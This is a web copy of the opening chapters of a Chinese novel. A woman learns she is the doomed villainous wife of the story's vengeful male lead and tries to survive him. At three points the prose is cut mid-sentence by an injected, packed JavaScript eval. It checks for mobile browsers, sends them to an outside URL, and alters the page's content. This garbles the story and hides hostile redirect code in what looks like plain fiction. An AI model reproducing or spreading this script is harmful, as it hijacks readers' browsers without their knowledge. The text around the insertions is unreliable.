《我是多男修罗场文的恶毒女配》 1. 重生觉醒 夜已深,左家村的人都睡了。 崔家用泥巴糊起来的土房子也灭了烛火,屋子里黑漆漆的,只有瑟瑟秋风从各个破洞里钻进来,乌拉乌拉地吹,听起来像鬼叫。 崔寂恨像之前的每一晚一样,轻手轻脚地推门进来,乌发被浅灰发带高高竖起,上面横插着一根木簪,虽年过二十,但因家贫无法行加冠礼,便一直带着根洗得发白的发带。褪去身上的粗布麻衣,搁在一边瘸了条腿的木椅背上,崔寂恨走近窄小的床榻时,抬眸瞥了一眼。 背对着他的女人早已睡熟了。 不同于崔寂恨的清瘦,榻上的女子有着蒲柳之姿,是一眼望去独属于妇人的丰腴美感。 崔寂恨掀开薄被,躺了进去,上半身支起,冷漠打量着熟睡中的人,抬起一只手隔空描摹着孟訾鸢的五官,柳眉杏眼,高挺精致的鼻头,微微翕动的唇,而后悄无声息地下滑至她的脖子。纤细脆弱的脖子好似轻轻一折就会断掉,“嘎吱”一声骨头断裂,鲜血喷涌。 冷风“呼哧呼哧”地灌入,屋子里又开始响起鬼叫般的风声,孟訾鸢似是被吵醒,睁开眼,瞥见崔寂恨在身边翻了个大大的白眼,张口就骂:“这个破屋子比牛栏还破,一到晚上就鬼叫!之前你那个痨病鬼的娘一到晚上就咳咳咳,吵死人了,好不容易老婆子死了,现在又起风吵我,还不是因为你这个废物没钱,死穷酸,嫁给你真是倒了八辈子霉了,怎么没毒死你……” 越骂越气,她猛地爬起来,一张美艳容貌此刻看起来狰狞刻薄,手指向狂风吹彻的屋外,“你给我滚出去!碍着我睡觉了!” 这样争吵不休的夜晚,崔寂恨早已习惯,他沉默地掀开被褥,准备出去,可刚下床,就听见背后“咚”的一声,什么东西重重地砸回了床上。 他回过头,看见的就是突然睡倒下去的孟訾鸢,整个人安静地不像话,就连胸膛都未起伏一下。 崔寂恨漆黑的瞳孔沉了沉,试探地将手指靠近孟訾鸢鼻尖,没有呼吸,摁在脖间脉搏上,没有跳动。 孟訾鸢好像不是睡过去了。 更像是突然死了。 - 孟訾鸢做了一场漫长的梦。 在梦中,她以旁观者的视角看完了自己短暂又荒诞的一生,恍然间明白过来,原来她活在一本话本子里。 《位极人臣》是一本多男修罗场权谋的话本子里,而话本子的男主,正是她百般厌恶折辱的穷酸夫君崔寂恨。 众人眼中,崔寂恨是家族败落、父亲枉死、与母亲窝在一个小村子里苟且偷生的穷酸书生,还娶了一个水性杨花又刻薄泼辣的女子为妻,日子悲惨成这样,依旧不影响他温润如玉、乐善好施的好名声。然而谁也不知这人其实是仙人皮囊,地狱心肠,骨子里暴虐成性,一切的忍辱负重都是为了将来位极人臣后,报仇雪恨。 他年少吃尽苦头,受尽折辱,待他权倾朝野时,整个天下都是他说了算。一朝翻身位极人臣,便要将所有的债全部讨回来。 与他政见相冲的探花郎被一贬再贬; 与他作对的草原王子国破家亡; 就连登基十余年的皇帝都被他拉下龙椅,饮血啖肉报仇雪恨…… 曾欺压折辱过他的人无一不下场凄惨。 而他最厌恶最恨的,就是水性杨花、刻薄狠毒、甚至硬生生逼死他母亲的恶毒前妻。 前妻嫁进崔家三年多,将崔寂恨辛苦攒下来用于科考的银两全部花了买吃穿,箩裙银簪、美味食馐,一点也不苛待自己,本就清贫的崔家入不敷出,愈发苦寒。 为了贴补家用,崔寂恨早出晚归地替人写字攒钱,长期下来右手劳损伤重,即便这样,他也会傍晚去自家的一亩三分地里耕种稻谷,因为前妻成天抱怨“圆圆胖胖的白米饭吃了才能有好皮肤”。夜晚归来,他还会给前妻端洗澡水,为她擦身揉腿,再用麻布轻柔地擦拭她小巧圆润的脚指头,把人抱在榻上,搂在怀间哄睡;他们偶尔夫妻敦伦,崔寂恨宁愿自己忍着也不累了她;前妻水性杨花,四处勾搭,他也尽量睁一只眼闭一只眼…… 前妻却丝毫不收敛,一日比一日过分! 她将崔寂恨的书籍全部塞进锅灶里当柴烧,把他千辛万苦攒来读书的银两拿去挥霍,一边对他拳打脚踢,一边撕扯着嗓子破口大骂“你还不如早点死了我好改嫁”。因为这事,气死了崔寂恨的母亲不说,还阴险毒辣地想了个馊点子,那就是把崔寂恨毒死,这样她就能改嫁给村子里有钱的小白脸木匠了。 成亲三年多,崔寂恨的耐心被前妻肆意磋磨,早就所存无几。 所以在崔寂恨位极人臣之时,那位恶毒前妻的报应来了。 高高在上的崔相大人,站在阴暗的地牢中,亲手灌了前妻一杯毒酒,然而慢慢地笑看着她是如何被穿肠烂肚,痛不欲生。 她最后的结局生不如死。 很不幸,孟訾鸢就是话本子里的那个恶毒前妻。 可是她也想说一句……冤枉啊! 因为那些事情根本不是她本意,不论何时何地,她就跟被诅咒了一样,成为了一个没有自己意识的傀儡,总是不受控制地做出一些不理智的事情,对崔寂恨骂出一些恶毒的话,弄得自己恶名昭著,还生生气死了崔老夫人! 曾经孟訾鸢不明白,现在她明白了。 因为她不是女主,只是一个为了话本子里的剧情走向服务的女配角,所以为了男主的前途,为了男主女主日后的温馨甜蜜爱情,她必须恶毒、必须刻薄,用她和男主鸡犬不宁的恐怖婚姻来衬托男女主爱情的甜蜜,最后男女主事业有成,她下场凄惨,不得好死。 下、场、凄、惨,不、得、好、死。 “……!!!” 孟訾鸢猛地从噩梦中惊醒。 她一把从榻上弹起来,胸口剧烈起伏,眼球因为过度狰狞而充斥着红血丝。她心有余悸地逡巡着四周,是她熟悉的破屋,又垂眸检查自己的身体,尚还是全须全尾的。 方才的噩梦太真实,真实到孟訾鸢忍不住相信自己就是活在话本子里,相信自己处境危险。 背脊冷汗直冒打湿了粗布衣裳,孟訾鸢脸色惨白如纸,不可置信地看向枕边安分谦逊的穷酸夫君,原来他是话本子里的男主,待他功成名就之日,就是她的死期。 夜静得近乎诡异,没等她喘口气,身边的人动了动。 下一瞬,男人忽然睁开眼,眼神阴冷如毒蛇,“夫人怎么又醒了?” 语气阴森如鬼,孟訾鸢吓得手脚一颤。 梦里的记忆再次袭来,若是没记错,话本子里写着,这时的崔寂恨已经对她起了杀心,每到深夜,他都会将青筋暴起的双手虚拢着她纤细的脖颈,一遍遍地模拟享受着掐死她的快感。 只不过此刻的崔寂恨不得不为了报仇而隐忍蛰伏,若是闹出了人命恐会引来有心之人的注意,他一直以来伪装的温润皮囊也会露出破绽,正是因此,他才会忍她许久,直到在朝堂站稳脚跟,整个天下都无人与他对抗,到那时,他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前的每一晚都是这般,崔寂恨一进屋,孟訾鸢就不耐烦地“啧”一声,然后开始破口大骂,骂地街坊四邻全都听得见,说他碍他的眼,让他滚出去。 看她不说话默认的样子,崔寂恨垂着头,大半张脸都隐在黑暗里令人窥探不出情绪,只有露在外面的唇微微动了动,跟之前的每一次一样,“好,我滚出去。” 他没什么温度地说。 孟訾鸢还处在震惊和无措中,眸中倒映着崔寂恨单薄的衣裳和孤寂的身影,待她反应过来时,那人已经快走到门口,才拉开一条门缝,凉澌澌的冷风猛地灌入,将崔寂恨大如麻袋的里衫吹得鼓动,勾勒出他清薄劲瘦的身体,孟訾鸢嘴比脑子快,“等一下。” 正要出去的崔寂恨顿住,门外照进一丝惨淡月光,打在他的侧脸,更显阴鸷。 他在忍耐。 看过话本子之后的孟訾鸢,对崔寂恨有了新的认识,这人当下隐忍不发,日后定要一笔一笔地讨回来,她的处境已经很糟糕了,崔寂恨随时都会要她的命。 孟訾鸢只有一个想法,逃。 她得尽快逃离崔寂恨,远离他,才能活下去。 不过在此之前她不能再让他们的关系恶化了。 孟訾鸢强行定下心神,试探地张口,“我脾气不好,总爱乱发火,方才不是有意的。入了秋天气寒凉,出去容易冻生病了,夫君留下来吧,就、就睡在我身侧?” 2. 奸夫 外面的风不知何时停了,屋内静的只有两人的呼吸声。 “我不滚出去,不碍你的眼吗?”崔寂恨背对着问。 这话是重生以前孟訾鸢经常骂的那句,那时她没有自主意识,活像一个被剧情操控的傀儡,如今听着倒有些尴尬,她干巴巴地笑了一下,“不碍不碍。” 说着殷勤地拍拍床铺,自己往里缩,榻上空出一大块地方,“快上来吧,别冻着了。” 立在门边的男人半晌后动了,关上屋门,走回榻边躺了上来。 几乎是在他的体温传达过来的那瞬,孟訾鸢就僵了身子,细小的变化被崔寂恨收在眼底,他没点破,闭上眼睛睡觉。 孟訾鸢小心翼翼地躺在一侧,既要不得罪崔寂恨,又不能叫他发现异常,这一夜她过得战战兢兢,直到后半夜才迷迷糊糊地睡去。 - 天还没亮,崔寂恨就起身出门,去村口给人写字了。 左家村只有崔寂恨一个年轻的读书人,谁家做白喜事或写信都是找他,写两张纸给一个铜板,崔寂恨写字快又好看,找他写字的人多,逢年过节的时候一天下来能攒到将近二十个铜板。这在左家村算是个挣钱的活儿了,所以三年前,崔老夫人才有钱从人牙子那儿救了个女子回家去。 那女子就是孟訾鸢。 崔老夫人见孟訾鸢人长得水灵标志,又孤苦伶仃,遂做了个媒,让孟訾鸢嫁给了崔寂恨,二人相互扶持过日子。可孟訾鸢被剧情操控着,刚成婚没多久就开始性情大变,无恶不作,被冠以“白眼狼”之名,崔老夫人引狼入室,病得越发重了,去年甚至因为孟訾鸢被剧情操纵着老是出去勾搭村子的有妇之夫,而活活气死了。 崔老夫人死后就葬在村子后山上,快一年过去,没心没肺的孟訾鸢都没去看过一眼,成天吃喝玩乐,俨然更加坐稳了“狼心狗肺的恶毒女配”的位置,也让崔寂恨彻底恨她入骨了。 崔寂恨背着装有纸笔的包袱前脚一离开,后脚孟訾鸢就醒了。 蹑手蹑脚地下了床,耳朵贴着门,院子里除了两声鸡叫没有半点声响,确定崔寂恨走了,孟訾鸢麻溜地往自己身上套衣服。她昨晚睡得不安生,脑子里有个声音一直催促着她:逃,快逃! 虽然前三年她作恶多端并非她本意,而是被话本子的剧情给坑了,可是说出去谁信啊? 崔寂恨更是不会信。 正如话本子里说的那样,他日崔寂恨做了丞相,对她可不尽是搓扁揉圆、肆虐蹂躏,想到那场面孟訾鸢就觉得自己的肠子疼。 还不如趁崔寂恨没有能力杀她时先跑了再说! 孟訾鸢就不信了,她跑到天涯海角,他还能找到她。 孟訾鸢随意收拾了几件麻布衣裳,又去灶房拿了两个干瘪的饼,背着包袱就往外走。路上遇到左家村的人,她也全程低着头,做贼一样匆匆跑开,留一脸怪异的葛大娘在原地,“这小狐狸精着急忙慌的是去哪儿呢?” 之前的几年孟訾鸢丑事做尽,经常跟村里的有妇之夫眉来眼去,久而久之名声都臭了,村子里的女人都看不惯她,背地里喊她狐狸精。 最厌恶孟訾鸢的当属葛大娘的女儿葛月茹,她自幼心悦崔寂恨,没想到让孟訾鸢捷足先登,本想着他们二人既已成婚,她也就死心了,谁想到孟訾鸢是个不老实的,成天给崔寂恨戴绿帽。 想到这,葛月茹就气不打一处来,“肯定是耐不住寂寞又去找野男人了呗,崔相公那么好,左家村谁比得上,也就她眼瞎,娘,当年嫁给崔郎的若是我该多好啊。” “那怎么行,崔寂恨生得在好看也是一个穷酸秀才,你看那小狐狸精,不就看上村里那小白脸李铁匠了。”说到这,葛大娘忽然停下来,若有所思,“去看情郎带什么包袱……” 葛月茹忽然瞪大眼,“孟訾鸢要跟野男人私奔!” - 另一边,崔寂恨在帮人写寄出去的书信,才落完最后一笔,远远地听见有人喊他,“崔相公,崔相公……”他还未抬头,那人劈头盖脸地一句话砸下来,“你家媳妇儿跟野男人跑了!” 此话一出,周围一片哗然,乡里乡亲们虽然看不惯孟訾鸢,但敬重三年前参加童试考上秀才的崔寂恨,霎时间均以同情的目光投向他。反而被目光包裹的崔寂恨没什么大的反应,仅是握笔的指骨紧了紧,手背上的青色血管突突跳动,握拳时像能砸死人的狰狞磐石。 不过片刻拳头就松开了,崔寂恨神色淡淡地收起纸笔,双手作揖,“家中有事,今日的字先写到这儿,改日再来帮叔伯婶婶们。” 他人刚转身离去,背后的乡亲们开始七嘴八舌,“崔相公也是个可怜孩子,要不是家道中落,恐怕早成为他父亲一样扬名天下的一代文人雅士了,想他父亲和祖辈这个年纪时,崔家是何等风光,一幅画、一幅字引来五湖四海的文人墨客争相收藏。” “是啊,崔家当年何等风光!想当初崔老爷和陆老爷年轻时,可是咱们蔚州落霞镇有名的两大才子,后来双双金榜题名,一个状元一个榜眼,纷纷入朝为官,崔老爷更是翰林院掌院学士,从二品的朝廷命官,天子近臣!要不是后来犯了事被赐死,崔家被抄没,崔相公身为崔老爷的嫡长子,那在京城可是响当当的官少爷。哪像现在啊,虽说回到了崔家祖籍,可是祖宅都因为家产抄没了,归属朝廷不能住,只能跟咱们挤在一个偏僻村子里过日子。” “家道中落也就罢了,好歹崔相公不曾被他爹连累,是一介白衣之身,能参加科举,早年参加童试一回就中了秀才。只可惜三年前错过乡试,不然说不准现在已经东山再起,兴复崔家,重新回到京城当官去了。” “还不是怪他娶得好媳妇,偷了他的盘缠拿去做衣裳,这才耽误了。本想着今年乡试也快了,没想到这会儿媳妇又跟别人跑了,我看崔相公是又没法儿参加了。” “他媳妇跟谁跑了?” “还能是谁,村里的小白脸,李铁匠!年纪不大,挣钱的本事倒不小,一月好几两银子呢……” 崔寂恨回家的途中遇到下山猎户,那人见到他就招手,“崔相公,我在山里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个世界是一个话本子,是一个囚笼,哪有那么容易地就让她跑路走人。别忘了,她只是一个小小的恶毒女配。 “有人吗?这儿有人摔了,有人能听到吗……”呼啸的狂风将她微弱的求救声吹散,她害怕得眼角微红,“谁来救救我。” 就在万念俱灰时,孟訾鸢余光瞥见了一抹熟悉的身影,她艰难地转过脑袋,隔着数尺,看见伫立在雨中的崔寂恨。她心一喜,来不及想崔寂恨怎么会出现在这里,拼了命地喊,“夫君,是我,我摔倒了你快来救我。” 只是无论她怎么喊,那人都佁然不动。 是啊,恨透了她的男主,怎么会救她呢? “崔寂恨,救救我……”孟訾鸢声音越来越小,直至完全消失,嘴巴呆滞地维持着口型,再也发不出一点声音,眼前的一切一片晦暗,只有崔寂恨那双明亮的双眼。 他炯炯有神望着她,像是发现了什么新乐趣。 嘶吼的狂风中,肆虐的暴雨里,崔寂恨一动不动地站在原地,仿佛一个捕猎者居高临下地观察着掌心的猎物,要她生便生,要她死便死,朦胧的雨雾里,孟訾鸢隐约窥见他缓缓勾起唇角,无声地说了三个字,“去死吧。” 3. 毒药 顷刻间,万籁俱寂。 孟訾鸢忘记了呼吸,怔怔地望着远处的崔寂恨,眼角蓦地落下一滴泪来,很快与雨水混在一起,消失不见。她彻底死心,湿润的眼睫渐渐阖上,攥住竹子的手指也开始失力,身体朝下滑去,她就快要死了。 这次是真的要死了。 手指与竹身分离,身体疾速下坠,孟訾鸢已经接受了死亡的结局,下一瞬,手腕突然传来一阵剧痛。她错愕地睁开眼,对上崔寂恨淡然的视线,嗓音如寒凉秋水,“抓紧我。” 求生的本能在这一刻爆发,孟訾鸢几乎不经思考地就反抓住了崔寂恨的手。此时此刻她忘却了他们活在话本子的事,也忘却了崔寂恨是男主而她只是一个为他铺路的垫脚石,她只知道她要活下去,没有任何人可以夺走她来之不易的性命。 即便是书中的一粒浮灰,她也要努力活下去。 雨势不减反增,两人没一会儿就淋成了落汤鸡,孟訾鸢张口呼吸,嘴里吃进不少泥沙,呛得直咳嗽,“咳咳,我的手腕滑,你拽我胳膊上的衣服,我脚下面有石头,可以往上爬……” 崔寂恨屈膝跪在斜坡上,整个上身往下倾,右手拉住孟訾鸢的手腕,闻言,左手伸出去扯住孟訾鸢的胳膊,然后往上一拽,孟訾鸢疼得“啊”了一声,崔寂恨只能停下,“疼?” 雨水将发丝糊了孟訾鸢一脸,她看不清崔寂恨的表情,有些担心他耐心告罄不救她了,强行吞下胳膊快要被撕裂的疼意,摇摇头,“不疼,你再拉,我很快就上去了。” “别放开我,求求你。”她低声乞求。 崔寂恨俯瞰着孟訾鸢的狼狈惨状,听着她卑微不已的乞求,雨珠“噼里啪啦”地砸在两人身上,每砸下一滴,脑海里就回想起孟訾鸢往昔的“恶行”,抓紧她的手指在慢慢松力。孟訾鸢似有察觉,抬头望着他,轻轻地喊了声,“暮春。” “暮春”是崔寂恨的表字,除了崔老夫人,只有孟訾鸢唤过。 山谷里的狂风一吹,冷得刺骨,崔寂恨瞥了一眼孟訾鸢通红的眼角,松开的手指重新攥紧,一把将人拉了起来。 孟訾鸢歪倒在地上,劫后余生地喘着粗气,低垂的视线里只能看见崔寂恨沾满泥泞的裤腿,忽然,裤腿动了,朝她靠近一步,与此同时头顶落下一道询问,“来山里做什么?” 她不清楚崔寂恨怎么会出现在这,只怕是她上山时被人看见了,然后风声传到了崔寂恨耳朵里他追来的,孟訾鸢下意识摸了摸肩膀,包袱不见了,应当是她摔倒时滚进土坑里。 也算是一桩好事,不然她不好解释。 孟訾鸢双臂环抱着身体,冷得发抖,声音听起来柔弱可怜,“最近天儿冷,家里柴火不够了,你写字辛苦,我想着上山捡一些,也好让你不要太累。” 话说得体贴极了,崔寂恨面无表情,“只你一人?” 孟訾鸢心里“咯噔”一声,笃定崔寂恨定是听到了什么胡言乱语追上来的,她如今肯定是逃不了了,只能待在崔寂恨的身边,既如此那边不能再与他生怨,孟訾鸢无辜地抬起小脸,“夫君不在家,鸢儿只能一个人上山……” 她失落地垂下眼尾,“但是鸢儿太没用了,捡个柴火也能摔倒,还要夫君大老远跑来救我。对了夫君,你不是在村口写字吗,怎得寻到山里来了?” 这样轻声细语的孟訾鸢令人陌生,在崔寂恨的记忆里,孟訾鸢永远都是歇斯底里、恶毒泼辣,而今她忽然转了性,真是稀奇诡异。 崔寂恨不动声色地审视着她,谎话信手拈来,“猎户找我写信,顺道说今日暴雨,你一人上山不安全,让我快些来寻你回去。” 原来是在山林里碰见的猎户,孟訾鸢悬起的心勉强落了下来。 她刻意忽略崔寂恨的冷淡,只一味地夸他勇猛,“暮春真厉害,不仅会读书识字,还臂力过人,今天这事儿吓坏我了,”她羞涩地低了低眉,小声地说,“也让我明白,只有夫君能护住我。” “谁都没有夫君好,”孟訾鸢借机提起以前的事,“夫君,以前的事都是我不对,我以后一定乖乖地同你过日子,你别生我的气,好不好?” 崔寂恨,求你看我低声下气的份儿上,饶我一条小命,最起码先别急着杀,我还没活够呢。 孟訾鸢一边忐忑地等待崔寂恨的答案,一边担惊受怕自己又突然被操控作出坏事儿来。 过了不知多久,孟訾鸢冻得直打哆嗦,身上倏地盖了一件长衫,接着是崔寂恨缓慢温和的嗓音,“鸢儿多想了,你我夫妻一场,没有对与错之分。” “只要你乖乖的,”崔寂恨环住她,在背后幽幽道,“我就永远不会生你的气。” 这话半真半假,也不耽误孟訾鸢害怕地抖了抖肩,勉强扯了下嘴角,“夫君真好。” - 回去的时候,原路塌了一截,俩人只能绕路走,因此会经过村子里李铁匠的铺子。 里面星火四溅,一个高高瘦瘦的少年,正在举起铁锤敲击着烧红的烙铁,满屋的灼热火星飞溅,衬得少年皮肤冷白,立体挺直的眉骨间还带有一丝异域风采,长得实在是好看,所以村里得人都喊他“小白脸”。之前孟訾鸢被操纵着四处勾搭,勾搭得最勤快的就是他,久而久之,村子里的人都传小白脸李铁匠就是她在外面的野男人。 这事儿崔寂恨当然也听说了。 孟訾鸢不管以前的“她”是怎么样的,至少她现在有自主意识了,觉得最好还是澄清一下为好。她咳嗽几声,故作嫌弃道:“那个小李下雨也打铁吗?这个年纪不读书只晓得用蛮力,一身铁锈味,我回回碰着他都绕路走。” 崔寂恨转眸看着她。 孟訾鸢逮住时机就讨好,这会儿眉眼弯弯地环住崔寂恨的胳膊,羞涩道:“不像我夫君,衣裳都是皂角香,闻着就喜欢。” “嗯。”崔寂恨没提俩人先前走得很近的事。 但孟訾鸢还是要解释一番,“之前家里的斧头火钳都旧了,我去镇里问得要半钱,太贵了,于是就去找了李铁匠,乡里乡亲得便宜些,这才跟他走得近了点,夫君,你莫要听人胡说。” 这话倒不假,孟訾鸢本就无意李铁匠,只是以前每回身体都不由自主地贴过去,逼着她去“红杏出墙”。 崔寂恨勾了勾唇,“可我昨日亲眼瞧见他摸了你的手。” 孟訾鸢:“……” 我说我也不想他摸我的手,你信吗。 她左思右想,极其缓慢地出声:李铁匠没摸我的手,你看错了,是我头发晕没站稳,李铁匠扶了我一下……”她委屈地瘪了瘪嘴,挤出哭腔,“夫君,你怎么能那样想我,难道在你心里鸢儿是个朝三暮四红杏出墙的人吗?” 后半句话说得她自己都没底气。 崔寂恨饶有兴致地欣赏她的惺惺作态,唇角弧度深了深,“自然不是,鸢儿一向纯洁贞烈。” 孟訾鸢听得脸臊,“那当然了。” 崔寂恨又扫了一眼那少年通身紧实的皮,淡淡地收回视线,虚搂着孟訾鸢继续前行。 回到家,崔寂恨烧了一锅热水给孟訾鸢泡澡,以免着凉。 孟訾鸢再三试探水里有没有放毒,确定无毒后,放心地褪去衣裳,将自己冷湿的身体进暖烘烘的热水里,她舒服地喟叹一声,全身的疲倦和烦扰都在此时烟消云散,乱糟糟的头脑也终于有了一刻的放松。 今日的事明晃晃地告诉孟訾鸢,她逃不走,否则总有“意外”产生。她忍得了一时,也忍不了一世,怕是还没等到崔寂恨动手呢,她先死路上了。 她只能留在崔寂恨身边。 一点点挽回在崔寂恨心中的尖酸刻薄形象,化干戈为玉帛,将来崔寂恨位极人臣时,她再主动请求和离,光明正大地离开。 孟訾鸢记得话本子里说,她不是崔寂恨的正缘,只是他平步青云路上的一块垫脚石,永亲王府的嘉合郡主才是崔寂恨厮守余生的人。 嘉合郡主出身尊贵,但对崔寂恨小意温柔;而对外心机深沉、阴鸷狠厉的崔寂恨,会为郡主披衣斟茶,嘘寒问暖,郡主看一眼外男他都要偷偷醋上半天。他们二人相守到暮年时,郡主先走一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498130|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,崔寂恨也因为伤心过度一并逝去,当真是情根深种。 至于她孟訾鸢,不过是书里的一个路人,一个本该早死的恶毒前妻。她死时,崔寂恨看都未看一眼,还可恶地不准人将她入殓下葬,冰封在什么悬崖什么谷里,厌她至此。 崔寂恨从未喜欢过她。 毕竟男主怎么会喜欢一个恶毒女配呢。 孟訾鸢缓缓垂眸,拨动了一下水面,她想,这样也好,正好她也不喜欢他,她只是想活下去。她会努力化解崔寂恨对她的仇恨,等到以后再与他和离,头也不回地远走高飞,老死不相见。 - 孟訾鸢身子骨弱,风吹雨打,当晚就病了。 头晕眼花,胃里翻江倒海,晚饭都没吃就上了榻,本以为直接睡过去,熬一晚上就好了,谁知喉咙里钻心的痒,她靠坐在床头剧烈咳嗽,“咳咳,咳咳……” 恨不得将肺都咳出来。 身体仿佛坠入冰火两重天,一时冷一时热,孟訾鸢被折磨得意识模糊,恍惚间听见“吱呀”开门声,随后是一阵几欲作呕的臭味,她艰难地睁开一条眼缝,看见崔寂恨带着一身寒凉气息走近,手里还端着一个碗。 “什么东西,好臭啊,”孟訾鸢皱着眉,“拿出去。” 崔寂恨端着碗坐在榻边,里面黑乎乎的液体随之晃动,“给你煎得治风寒的药,快些喝了,一会儿凉了。” 药?有这么臭的药吗? 孟訾鸢半靠在床头,抻着脖子望了一眼,忍不住用手捂住嘴巴。她自幼最怕喝药,苦得胃里直犯恶心,可人牙子不管她怕不怕苦,直接两只手掐住她的下巴,把药往她嘴里灌,一边灌一边说,“小娘皮可别死了,老子可就靠卖你做妓挣钱呢。” 因为她体弱,不喝药准会死,以前孟訾鸢也暗暗难过自己的身子怎得这样弱,明明看着丰腴。如今算是明白了,话本子里就这么写的,她要不体弱一些,怎么理所当然地嫁给崔寂恨后“娇生惯养”“作天作地”“到处花钱呢”,只有这样,才能在后面突出女主的好啊。 孟訾鸢叹息一声,伸手去接药,就在手快要碰到碗沿时,她鬼使神差地抬眸看了眼崔寂恨。 竟是一眼对上他冷漠的视线。 孟訾鸢手一僵,意识到什么,蓦地把手缩回来,“不、不用了夫君,我病得不重,睡一觉就好了,你把药端出去吧。” “那怎么行?这碗药是为夫特意为你熬得。”男人笑着说。 崔寂恨每说一个字孟訾鸢就抖一下,拒绝得更坚决,“我不喝。” “你身子弱,不喝药明日病得会更重。”崔寂恨往她这边挪了挪,一手不容置喙地环住孟訾鸢的肩膀,一手将碗靠近她的下唇,低声诱哄,“鸢儿乖,快把药喝了,喝完就好了。” 什么好了,是死了吧! 男人低沉的嗓音宛如催命号角,孟訾鸢越看这碗药越觉得剧毒,梗着脖子不张嘴,“我不喝,你拿走。” 崔寂恨静静地盯着她,慢慢道:“不听话。” “既然你不肯自己喝,那我喂你。” 心头“咯噔”一声,孟訾鸢来不及反应,温热的碗口已经抵上了她的唇,男人的大手捏着她的下颌,稍稍用力,她就被迫张开嘴,孟訾鸢奋力挣扎,可还是来不及了,那碗药已经顺着喉管灌入,她甚至能感受到液体从喉管到胸腔、再到肠胃的滑动…… 穿肠烂肚,不得好死。 话本子里那句恐怖的话涌入脑海,孟訾鸢眼角溢出一滴生理性恐惧的泪,她现在就要死了吗?她还想再苟苟的。 没有人不畏惧死亡,孟訾鸢手脚止不住地颤抖,与此同时心底蹿起一股怒火,反正都要死了,还不如拉着崔寂恨一起下地狱,她用尽最后一丝力气扑到崔寂恨身上,想要跟他同归于尽,男人却轻而易举地将她重新搂入怀里,他摇摇头,无奈一笑,手指抚上她的眼角,“怎得这般娇气,喝碗药也要哭。” 崔寂恨抹去她的泪痕,动作宛如毒蛇在肌肤上游动,“看你哭成这样,不知道的还以为我给你灌的是毒药。” 4. 讨好 孟訾鸢愣了愣,他什么意思? 莫非他没有下毒,刚刚真的只是一碗普通的药? 见她明显怔愣的神情,崔寂恨脸上闪过一丝讥讽,语调依旧温柔,还夹杂着无辜与疑惑,“难不成夫人真以为我在药里下毒,才害怕成这样?” “没、没有……”孟訾鸢脸色惨白如纸,仅存不多的体力经过刚才那么一闹更是所剩无几,眼皮开始打架。 崔寂恨将她睡回榻上,拂去鬓角被汗打湿的发丝,“没有就好,不要胡思乱想。” “我怎么会害你呢,鸢儿。”他看着她笑。 孟訾鸢毛骨悚然,藏在被褥下的指尖渐渐蜷紧,闭上眼假意睡去。 - 暴雨连下三日,孟訾鸢也病了三日。 缠绵病榻的这三日,她不是担心饭菜里有毒,就是怕晚上睡觉被掐死,短短三天过去,人瘦了一大圈。崔寂恨问她是不是有心事,说出来,让他听听,孟訾鸢连连摆手,让他听那还得了,只说是病去如抽丝,出去晒晒日头就好了。 “那你在家歇息,我去地里看看。”崔寂恨说。 雨后初霁,晴空万里,今个儿是好天,左家村里的男人几乎都去了田里忙庄稼,争取把前三天暴雨时落下的活儿给忙完。崔家也有一亩三分地,崔寂恨今日不写字,去院子里拿了锄头和镰刀,背着竹篓要出门,“锅里热着白粥和青菜,你要是饿了就吃。” 孟訾鸢现在看崔寂恨,就像看催命阎王,哪儿敢多吃他买的东西,“病刚好没胃口,吃不下清淡的,”她眼珠转了转,“我想吃些有油水的。” “昨日村里有人宰牛,我晌午去买些肉回来。” “地里活儿多,你去忙地里,肉我自个儿去买。” 崔寂恨默了默,“钱在枕头下。” “我晓得,”孟訾鸢依依不舍地挥手,“你去吧,快些回来。” 崔寂恨出了篱笆院子,走到拐角身影消失,孟訾鸢长吁一口气,卸下脸上的伪装,转身回了屋。 她没去买牛肉,而是先紧赶慢赶去了趟镇上。 孟訾鸢进了家当铺,把头上的一根簪子取了下来,这是先前买的首饰,眼下家里一贫如洗,还要这些东西干什么,不如当了换成银两。这根簪子不值钱,只当了三十个铜板,回去的时候,孟訾鸢分出两块出来搭了个老伯的板车,好让自己快些回村子。 路过村口时她买了一小块牛肉,贪便宜,买的都是边角料。 孟訾鸢打算回家后把肥的切下来熬油,瘦的就做成一道炒菜,等崔寂恨晌午回来用饭时在他面前刷刷好感。 有一句话不是这样说的吗?感化一个人之前先抓住他的胃。 孟訾鸢哼着小曲,拎着牛肉回去,背后忽地传来一道急促脚步声,“弟妹,弟妹!” 来人是镇上天行医馆的少东家,也是陆府的少爷,陆筠,字晏奚。 也就是话本子里的探花郎男二。 在话本子里,崔家和陆家交情匪浅,崔老爷和陆老爷祖籍都是蔚州落霞镇,他们二人年轻时就相识了,是落霞镇有名的两大才子。后来双双高中,两家一起迁往京城,二人亦同时进入朝廷为官,崔老爷是从二品的翰林院掌院学士,乃天子近臣,陆老爷是从四品的国子监祭酒,掌全国教育。 他们二人是本朝的文人墨客之首,备受世人推崇,桃李满天下,随手一写的诗词歌赋被文人争相追捧。 